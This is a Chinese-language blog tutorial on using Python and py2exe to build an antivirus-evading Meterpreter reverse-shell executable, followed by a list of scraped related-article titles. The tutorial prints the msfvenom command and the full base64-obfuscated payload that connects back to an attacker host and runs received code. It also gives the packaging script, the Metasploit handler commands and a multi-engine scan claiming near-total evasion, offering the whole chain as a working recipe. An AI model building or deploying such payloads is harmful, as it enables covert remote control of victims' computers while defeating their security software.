很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?

打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。

0x01 环境准备

1、软件安装

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

Py2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

evil.py 代码如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

0x02 py2exe 打包Python程序

将evil.py复制到windows,同时创建一个setup.py文件:

from distutils.core import setup

import py2exe

setup(

name = 'Meter',

description = 'Python-based App',

version = '1.0',

console=['evil.py'],

options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},

zipfile = None,

)

下面的方法运行 evil.py,生成可执行文件。

python ./setup.py py2exe

0x03 设置监听端口

Kali 运行Metasploit,设置监听:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 192.168.28.128

set LPORT 443

run

在Windows中运行evil.exe,获得一个meterpreter的会话

0x04 免杀验证

确认生成的exe文件可正常工作,接下来对evil.exe进行在线病毒扫描,以确认免杀效果如何。

这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎

扫描结果:47款杀毒引擎中,只有一个引擎报毒,主流的杀毒软件全部绕过。

网站地址:http://www.virscan.org

参考文章:

python打包的exe如何免杀_使用Python进行防病毒免杀相关推荐

  1. python封装成exe后运行失败_解决Python使用pyinstaller打包生成exe运行提示错误 | kTWO-个人博客...

    最近用python写了个小的桌面程序,在本机上调试的时候,一点问题都没有,在生成exe后也可以正常打开,但是我发给舍友用的时候却突然出现的错误,运行后提示Failed to execute scrip ...

  2. python如何将图片打包进exe里_史上最详细的Python打包成exe文件教程

    打包成exe文件可以让python代码在没有python环境的条件下,依然能够运行,实在是码农们写追女朋友表白.情人节浪漫的必需品! 1.使用豆瓣镜像源下载: pyinstaller 有需要了解如何使 ...

  3. Python打包成exe文件_详细操作

    Python打包成exe文件 前言 一.安装pyinstaller 1.1 安装pyinstaller,使用安装命令: 1.2 如果遇到需要更新版本请输入: 1.3 检查是否正确安装 1.4 稍等,水 ...

  4. 把python语言翻译出来_Python语言实现翻译小工具(Python打包成exe文件)

    本文主要向大家介绍了Python语言实现翻译小工具(Python打包成exe文件),通过具体的内容向大家展示,希望对大家学习Python语言有所帮助. 1.环境 windows10 python3.5 ...

  5. python打包成.exe程序

    一.需求 有些时候,我们想做个带图形化界面的小工具用于pc端,使用MFC当然可以,java也有何不可,那么使用python呢?是否也可以把带有图形化界面的python程序打包成.exe程序?答案是肯定 ...

  6. cmd python封装成exe_别再问我怎么Python打包成exe了!

    也许我们不一定是专业的程序员,但是我们仍然可以通过代码提高我们的效率,尽量少加班,多陪陪媳妇(如果有).再不行,让代码替我们干着重复的工作,我们有节省出来的时间打游戏不好嘛,是吧,哈哈哈. 但是呢,我 ...

  7. Python打包成exe,pyc

    D:\mypython\path\ C:\Python27\Scripts\pyinstaller.exe -w mypython.py # Python打包成exe D:\mypython\path ...

  8. python打包成.exe文件时出现“系统找不到指定路径”

    python打包成.exe文件时出现"系统找不到指定路径" 我在一开始写工程时就想到最后打包的时候可能会出现文件位置会发生移动,所以并没有使用绝对路径,而都是以相对路径写的程序. ...

  9. Python打包成exe,文件太大问题解决办法

    Python打包成exe,文件太大问题解决办法 原因 解决办法 具体步骤 情况一:初次打包 情况二:再次打包 原因 由于使用pyinstaller打包.py文件时,会把很多已安装的无关库同时打包进去, ...

  10. Python 打包的exe在Win7 不能运行的解决

    Python 打包的exe在Win7 不能运行的解决 原用PY3.8在WIN10下编写了一程序,结果大家都说WIN7运行不了,最后用虚拟机在WIN7+PY3.7环境下打包时,提示出错,发现原在PY3. ...

最新文章

  1. C - A problem of sorting HDU - 5427 sort(cmp)
  2. 【多标签文本分类】融合CNN-SAM与GAT的多标签文本分类模型
  3. Windows 下使用 BaiduExporter + Aria2 下载百度网盘文件
  4. SQL Server:Like 通配符特殊用法:Escape
  5. ASP.NET中使用C#文件下载四方法
  6. mysql数据迁移到es_实战ES跨版本数据迁移
  7. IBM AIX6.1上安装OpenSSH手记【转】
  8. Python爬虫-什么是爬虫?
  9. 如何使用CSDN写博客?—CSDN基础知识汇总
  10. 地址总线、数据总线、控制总线详细解释
  11. mini LED光学仿真
  12. 快讯 | 科技部公布首批国家人工智能创新平台名单,BAT+科大讯飞入选
  13. GitHub上发现个菜谱仓库,来看看程序员都吃啥?
  14. Mac mini 2018+ 进入 Recovery 预置恢复模式方法
  15. 图片转ascii字符画C语言,将图片转为ASCII字符画
  16. 官网中国传媒大学计算机与网络安全学院,曹建香 - 中国传媒大学 - 计算机与网络空间安全学院...
  17. 史上最全量化交易资源整理
  18. 360浏览器收藏夹导出问题终极解决方案
  19. 【研究计划书】基于人工智能算法的肿瘤代谢问题研究
  20. vb怎样访问网络服务器的access数据库

热门文章

  1. Java基础——夯实基础
  2. 【详细讲解 附全部代码】【openmv控制三自由度机械臂抓取物品】硬件+软件
  3. 【SOP 】配电网故障重构方法研究【IEEE33节点】(Matlab代码实现)
  4. 博客营销的价值与注意事项
  5. php 五级联动,重庆文化艺术职业学院 常规教学五级联动督查工作机制
  6. 如何使用 Github 页面建立一个简单的免费网站
  7. 计算机视觉 cv(3)
  8. CAJ论文免费转换成word文档?如何操作
  9. 入栈顺序12345,出栈顺序有哪些可能?
  10. java基于安卓Android微信小程序的的桃源婚恋交友APP